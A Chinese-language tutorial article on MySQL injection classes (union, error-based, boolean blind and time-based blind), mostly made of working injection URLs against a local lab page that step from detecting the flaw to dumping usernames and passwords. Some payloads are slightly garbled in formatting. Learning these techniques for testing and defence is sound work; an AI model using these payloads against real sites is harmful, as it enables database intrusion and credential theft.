MYSQL注入主要有哪些分类

2023-05-11,,

下面讲讲关于MYSQL注入主要有哪些分类,文字的奥妙在于贴近主题相关。所以,闲话就不谈了,我们直接看下文吧,相信看完MYSQL注入主要有哪些分类这篇文章你一定会有所受益。

 Mysql注入分类:

1.基于错误的有显示位的注入(联合注入)

(1)判断注入

and 1=1,http://127.0.0.1/union.php?id=1 and 1=1

and 1=2,http://127.0.0.1/union.php?id=1 and 1=2

and 1=1输出结果,and 1=2没有结果,说明and语句执行成功,可能存在sql注入。
(2) 判断列
http://127.0.0.1/union.php?id=1 order by 1

http://127.0.0.1/union.php?id=1 order by 2

http://127.0.0.1/union.php?id=1 order by 3

http://127.0.0.1/union.php?id=1 order by 4

查询当前数据库中有多少列order by 1、order by 2、order by 3的时候都返回正常, order by 4的时候返回错误,那么就可以确定当前有3列。
(3) 爆显示位
union查询的时候是把后面的查询结果拼接到select查询结果的末尾
http://127.0.0.1/union.php?id=1 union select 1,2,3

使用union select 1,2,3,并没有输出显示位,是因为select语句后有limit 0,1限制,只显示查询出的第一行,若id输入错误则不会显示查询的id信息。
http://127.0.0.1/union.php?id=-1 union select 1,2,3

id=-1时,此时id输入错误,则输出显示位1,2,3。
(4)获取数据库
有了显示位就可以代入相应的显示位,来查询我们想要的东西,比如查询数据库名
http://127.0.0.1/union.php?id=-1 union select 1,database(),3

获取到数据库为s。
(5) 获取数据表
接着查看s数据库中的表
http://127.0.0.1/union.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where  table_schema='s'

利用information_schema查询数据库中的tables表,查询出数据库s中的表为student;
information_schema数据库中有所有数据库、所有表、所有列。
(6) 获取数据列
接下来查询student表中有哪些列
http://127.0.0.1/union.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where  table_name='student'

利用information_schema数据库获取到student表中有id、username、password三列。
(7)获取内容
查询username和password的内容
http://127.0.0.1/union.php?id=-1 union select 1,username,password from student

获取到student表中username,password列的内容,获取到用户root密码123456。


2.基于错误的有数据库报错信息的注入(报错注入)
mysql有十种报错注入
添加报错语句

if(!$res) {
die(mysql_error());
}

(1)获取数据库版本信息
http://127.0.0.1/union.php?id=1 and (select 1 from(select count(*),concat((select (select (select    concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

(2)获取数据库信息.
通过控制 LIMIT来控制要获取的数据库
http://127.0.0.1/union.php?id=1 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,schemaname,0x7e) FROM informationschema.schemata LIMIT 1,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from informationschema.tables group by x)a)

(3)获取当前数据库的表
同样是通过控制LIMIT来控制不同的表名。
http://127.0.0.1/union.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT     distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

(4)获取users表的列名
http://127.0.0.1/union.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='student' LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

(5)获取username和password字段的内容
http://127.0.0.1/union.php?id=1 and(select 1 from(select count(),concat((select (select (SELECT distinct    concat(0x23,username,0x3a,password,0x23) FROM student limit 0,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from informationschema.tables group by x)a)


盲注:在执行注入语句时不会有显示位也不会有数据库的报错信息,只是一个正确一个错误的显示页,当语句执行正确时,页面会返回正常,当执行错误时,就会出现不正常界面,但是不会有任何的数据库报错信息。


3.基于错误的没有数据库报错信息的盲注
(1)利用联合查询union盲注
http://127.0.0.1/union.php?id=1 union select 1,2,‘122’ order by 3

按照第三列进行排序,第三列值前三位若大于122不显示,如图未显示。
http://127.0.0.1/union.php?id=1 union select 1,2,‘126’ order by 3

依此类推,修改第三位的值来获取信息,第三列值前三位若小于126则显示,如图显示。
(2)不用联合查询union盲注(ASCII)
遵循折半查询的思想。
猜测数据库名:
http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))>0
substr(database(),1,1)分割数据库名字符,从第一个字符开始,每次分割一个字符。
ascii()函数,把分割得到的字符转换成ASCII值。

如图,有查询结果说明数据库名的第一个字符ascii大于0。
http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))>120

如图,无查询结果说明数据库名的第一个字符ascii小于120。
http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))=115

依次类推得出数据库名的第一个字符ascii为115,

使用小葵多功能转换工具转换出ASCII对应的字符,115为字母s。
然后依次类推可猜出数据库名。
猜测数据库的表名:
http://127.0.0.1/union.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='s' limit 0,1),1,1))=115

通过猜测ascii 可得到s数据库的第一个表的第一个字符串的ascii码是115,也就是字符s。同理依次进行猜解。
猜词表中的列名:
http://127.0.0.1/union.php?id=1 and ascii(substr((select     column_name from information_schema.columns where   table_name='student' limit 0,1),1,1))=105

得到student表的第一个列名的第一个字符串的ascii码105,对应字符i,同理依次进行猜解。
猜解列的内容:
http://127.0.0.1/union.php?id=1 and ascii(substr((select username from student limit 0,1),1,1))=114

username的第一个字符串的ascii码为114,就是字母r,同理依次进行猜解。


4.基于时间的盲注
基于时间的盲注和基于错误的盲注差不多,区别是时间盲注页面不回有任何回显,一般通过sleep()函数来判断我们的sql语句是否执行,从而判断是否存在注入。

利用火狐的firebug(F12),来监测脚本的执行时间情况
http://127.0.0.1/union.php?id=1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)

猜测数据库,语句正确执行延迟了3秒。

对于以上MYSQL注入主要有哪些分类相关内容,大家还有什么不明白的地方吗?或者想要了解更多相关,可以继续关注我们的行业资讯板块。

《MYSQL注入主要有哪些分类.doc》

下载本文的Word格式文档,以方便收藏与打印。